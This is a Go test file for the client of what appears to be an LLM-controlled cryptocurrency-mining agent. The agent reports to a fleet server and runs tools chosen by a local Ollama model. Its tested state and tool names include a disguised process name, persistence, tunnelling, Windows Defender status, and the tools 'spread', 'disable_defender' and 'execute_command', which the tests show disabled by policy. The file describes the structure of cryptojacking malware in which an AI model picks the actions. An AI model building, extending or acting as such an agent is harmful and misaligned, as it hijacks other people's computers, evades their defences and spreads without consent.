package client import ( "encoding/json" "io" "net/http" "net/http/httptest" "strings" "testing" "crypto-miner-agent/config" ) func TestTruncateStr(t *testing.T) { cases := []struct { in, want string max int }{ {"short", "short", 10}, {"exactlyten", "exactlyten", 10}, {"this is longer than ten", "this is lo...", 10}, {"", "", 5}, {"abc", "...", 0}, } for _, tc := range cases { got := truncateStr(tc.in, tc.max) if got != tc.want { t.Fatalf("truncateStr(%q, %d) = %q want %q", tc.in, tc.max, got, tc.want) } } } func TestAgentStateJSONRoundTrip(t *testing.T) { in := AgentState{ AgentID: "a1", WorkerName: "w1", Hostname: "host", UptimeSeconds: 3600, IsRunning: true, CPUCores: 8, CPUUsagePct: 42.5, MemoryGB: 16, MemoryUsagePct: 55.0, Hashrate15m: 1200.5, SharesTotal: 100, SharesGood: 95, SharesBad: 5, ProcessName: "svc.exe", InstallPath: `C:\miner`, HasPersistence: true, HasTunnel: false, DefenderState: "enabled", LastError: "none", } var out AgentState roundTrip(t, in, &out) if out.AgentID != in.AgentID || out.DefenderState != "enabled" || out.SharesBad != 5 { t.Fatalf("unexpected: %+v", out) } } func TestToolCallJSONRoundTrip(t *testing.T) { in := ToolCall{ Tool: "check_miner", Args: map[string]string{"process_name": "miner.exe"}, Reason: "verify process", } var out ToolCall roundTrip(t, in, &out) if out.Tool != "check_miner" || out.Args["process_name"] != "miner.exe" { t.Fatalf("unexpected: %+v", out) } } func TestDecideResponseJSONRoundTrip(t *testing.T) { in := DecideResponse{ ToolCalls: []ToolCall{{Tool: "sleep", Args: map[string]string{"seconds": "5"}, Reason: "wait"}}, Reasoning: "back off", Error: "", } var out DecideResponse roundTrip(t, in, &out) if len(out.ToolCalls) != 1 || out.Reasoning != "back off" { t.Fatalf("unexpected: %+v", out) } } func TestToolReportJSONRoundTrip(t *testing.T) { in := ToolReport{ AgentID: "a1", Tool: "check_miner", Success: true, Output: "process running", Timestamp: "2026-05-31T12:00:00Z", } var out ToolReport roundTrip(t, in, &out) if !out.Success || out.Output != "process running" { t.Fatalf("unexpected: %+v", out) } } func TestDecideRequestJSONRoundTrip(t *testing.T) { in := decideRequest{ AgentID: "a1", OllamaEndpoint: "http://localhost:11434", Model: "llama3", AgentState: AgentState{AgentID: "a1", WorkerName: "w1"}, } var out decideRequest roundTrip(t, in, &out) if out.AgentID != "a1" || out.OllamaEndpoint != in.OllamaEndpoint || out.WorkerName != "w1" { t.Fatalf("unexpected: %+v", out) } } func TestHeartbeatRequestJSONRoundTrip(t *testing.T) { in := heartbeatRequest{AgentID: "a1", Status: "alive", Message: "ok"} var out heartbeatRequest roundTrip(t, in, &out) if out.Status != "alive" || out.Message != "ok" { t.Fatalf("unexpected: %+v", out) } } func TestShareCounts(t *testing.T) { a := &AIRunner{shareStats: func() (int, int) { return 10, 7 }} total, good, bad := a.shareCounts() if total != 10 || good != 7 || bad != 3 { t.Fatalf("got total=%d good=%d bad=%d", total, good, bad) } a.shareStats = func() (int, int) { return 5, 10 } _, _, bad = a.shareCounts() if bad != 0 { t.Fatalf("negative bad clamped to 0, got %d", bad) } a.shareStats = nil total, good, bad = a.shareCounts() if total != 0 || good != 0 || bad != 0 { t.Fatalf("nil shareStats should return zeros, got %d %d %d", total, good, bad) } } func TestExecuteToolCallPolicyDisabled(t *testing.T) { a := &AIRunner{agentID: "a1", cfg: config.RuntimeConfig{}} for _, tool := range []string{"spread", "disable_defender", "execute_command"} { report := a.executeToolCall(ToolCall{Tool: tool, Args: map[string]string{}}) if report.Success || !strings.Contains(report.Output, "disabled by policy") { t.Fatalf("tool %q: unexpected report %+v", tool, report) } if report.AgentID != "a1" || report.Tool != tool { t.Fatalf("tool %q: wrong metadata %+v", tool, report) } } } func TestExecuteToolCallUnknownTool(t *testing.T) { a := &AIRunner{agentID: "a1", cfg: config.RuntimeConfig{}} report := a.executeToolCall(ToolCall{Tool: "nonexistent"}) if report.Success || !strings.Contains(report.Output, "unknown tool") { t.Fatalf("unexpected: %+v", report) } } func TestCallDecideMockHTTP(t *testing.T) { var gotMethod, gotPath, gotSecret string var gotBody decideRequest srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { gotMethod = r.Method gotPath = r.URL.Path gotSecret = r.Header.Get("X-Fleet-Secret") body, _ := io.ReadAll(r.Body) _ = json.Unmarshal(body, &gotBody) w.Header().Set("Content-Type", "application/json") _, _ = w.Write([]byte(`{"tool_calls":[{"tool":"sleep","args":{"seconds":"1"},"reason":"test"}],"reasoning":"ok"}`)) })) defer srv.Close() a := &AIRunner{ cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetSecret: "fleet-key", AIOllamaEndpoint: "http://ollama", AIModel: "m1"}}, httpClient: srv.Client(), serverURL: strings.TrimRight(srv.URL, "/"), agentID: "agent-1", } state := AgentState{AgentID: "agent-1", WorkerName: "w1"} resp, err := a.callDecide(state) if err != nil { t.Fatal(err) } if gotMethod != http.MethodPost || gotPath != "/api/v1/agent/decide" { t.Fatalf("got %s %s", gotMethod, gotPath) } if gotSecret != "fleet-key" { t.Fatalf("fleet secret %q", gotSecret) } if gotBody.AgentID != "agent-1" || gotBody.OllamaEndpoint != "http://ollama" || gotBody.Model != "m1" { t.Fatalf("unexpected body: %+v", gotBody) } if len(resp.ToolCalls) != 1 || resp.ToolCalls[0].Tool != "sleep" { t.Fatalf("unexpected response: %+v", resp) } } func TestCallDecideMockHTTPErrorField(t *testing.T) { srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.Header().Set("Content-Type", "application/json") _, _ = w.Write([]byte(`{"error":"ollama offline"}`)) })) defer srv.Close() a := &AIRunner{ httpClient: srv.Client(), serverURL: srv.URL, agentID: "a1", } _, err := a.callDecide(AgentState{}) if err == nil || !strings.Contains(err.Error(), "ollama offline") { t.Fatalf("expected decide error, got %v", err) } } func TestCallDecideMockHTTPNonOK(t *testing.T) { srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { w.WriteHeader(http.StatusServiceUnavailable) })) defer srv.Close() a := &AIRunner{ httpClient: srv.Client(), serverURL: srv.URL, } _, err := a.callDecide(AgentState{}) if err == nil || !strings.Contains(err.Error(), "503") { t.Fatalf("expected status error, got %v", err) } } func TestSendHeartbeatMockHTTP(t *testing.T) { var got heartbeatRequest srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { if r.URL.Path != "/api/v1/agent/heartbeat" { t.Fatalf("path %s", r.URL.Path) } body, _ := io.ReadAll(r.Body) _ = json.Unmarshal(body, &got) w.WriteHeader(http.StatusOK) })) defer srv.Close() a := &AIRunner{ cfg: config.RuntimeConfig{BuiltinConfig: config.BuiltinConfig{FleetSecret: "sec"}}, httpClient: srv.Client(), serverURL: srv.URL, agentID: "a1", } a.sendHeartbeat("alive", "test msg") if got.AgentID != "a1" || got.Status != "alive" || got.Message != "test msg" { t.Fatalf("unexpected heartbeat: %+v", got) } } func TestReportResultsMockHTTP(t *testing.T) { var count int srv := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { if r.URL.Path != "/api/v1/agent/report" { t.Fatalf("path %s", r.URL.Path) } count++ w.WriteHeader(http.StatusOK) })) defer srv.Close() a := &AIRunner{ httpClient: srv.Client(), serverURL: srv.URL, agentID: "a1", } a.reportResults([]ToolReport{ {AgentID: "a1", Tool: "check_miner", Success: true, Output: "ok"}, {AgentID: "a1", Tool: "sleep", Success: true, Output: "done"}, }) if count != 1 { t.Fatalf("expected one report POST, got %d", count) } }